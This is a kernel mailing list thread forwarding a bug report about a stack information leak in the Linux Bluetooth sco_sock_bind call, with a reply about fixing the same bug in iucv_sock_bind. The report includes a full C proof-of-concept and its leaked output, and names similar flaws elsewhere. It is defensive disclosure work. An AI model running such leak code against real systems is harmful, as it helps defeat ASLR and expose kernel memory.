Hi Dmitry,
thx for mentioning iucv_sock_bind here. I will provide the equivalent
fix and add your name as "Reported-by" - if you do not object.
Regards, Ursula Braun
----- Forwarded by Ursula Braun1/Germany/IBM on 15/01/2016 09:18 -----
From: Dmitry Vyukov <dvyukov@xxxxxxxxxx>
To: Marcel Holtmann <marcel@xxxxxxxxxxxx>, Gustavo Padovan
<gustavo@xxxxxxxxxxx>, Johan Hedberg <johan.hedberg@xxxxxxxxx>, "David
S. Miller" <davem@xxxxxxxxxxxxx>, linux-bluetooth@xxxxxxxxxxxxxxx,
netdev <netdev@xxxxxxxxxxxxxxx>, LKML <linux-kernel@xxxxxxxxxxxxxxx>,
syzkaller <syzkaller@xxxxxxxxxxxxxxxx>, Kostya Serebryany
<kcc@xxxxxxxxxx>, Alexander Potapenko <glider@xxxxxxxxxx>, Sasha Levin
<sasha.levin@xxxxxxxxxx>, Eric Dumazet <edumazet@xxxxxxxxxx>, Kees Cook
<keescook@xxxxxxxxxx>, Hannes Frederic Sowa
<hannes@xxxxxxxxxxxxxxxxxxx>, Ursula Braun1/Germany/IBM@IBMDE,
linux-s390@xxxxxxxxxxxxxxx, Lauro Ramos Venancio
<lauro.venancio@xxxxxxxxxxxxx>, Aloisio Almeida Jr
<aloisio.almeida@xxxxxxxxxxxxx>, Samuel Ortiz <sameo@xxxxxxxxxxxxxxx>,
Date: 15/12/2015 21:02
Subject: Information leak in sco_sock_bind
Hello,
The following program leads to leak of 6 bytes from kernel stack:
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
struct sockaddr_sco {
sa_family_t sco_family;
char sco_bdaddr[6];
};
#define BTPROTO_SCO 2
int main(void)
{
struct sockaddr sa;
struct sockaddr_sco sco_sa;
unsigned len, i, try;
int fd;
for (try = 0; try < 3; try++) {
fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
if (fd == -1)
return;
switch (try) {
case 0:
break;
case 1:
sched_yield();
break;
case 2:
open("/dev/null", O_RDONLY);
}
memset(&sco_sa, 0, sizeof(sco_sa));
sco_sa.sco_family = AF_BLUETOOTH;
bind(fd, &sco_sa, 2);
len = sizeof(sa);
getsockname(fd, &sa, &len);
for (i = 0; i < len; i++)
printf("%02x", ((unsigned char*)&sa)[i]);
printf("\n");
}
return 0;
}
Output:
1f00333e0088ffff
1f00c13e0088ffff
1f002081ffffffff
The problem is that sco_sock_bind does not check sockaddr_len passed
in, so it copies stack garbage from stack into the socket. This can
defeat ASLR, leak crypto keys, etc.
We've just fixed a similar issue in pptp_bind. The similar issue is in
llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
bug in iucv_sock_bind, it is S390 specific, so I can't test it.
Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
or add addr size to proto struct to prevent all such existing and
future bugs.
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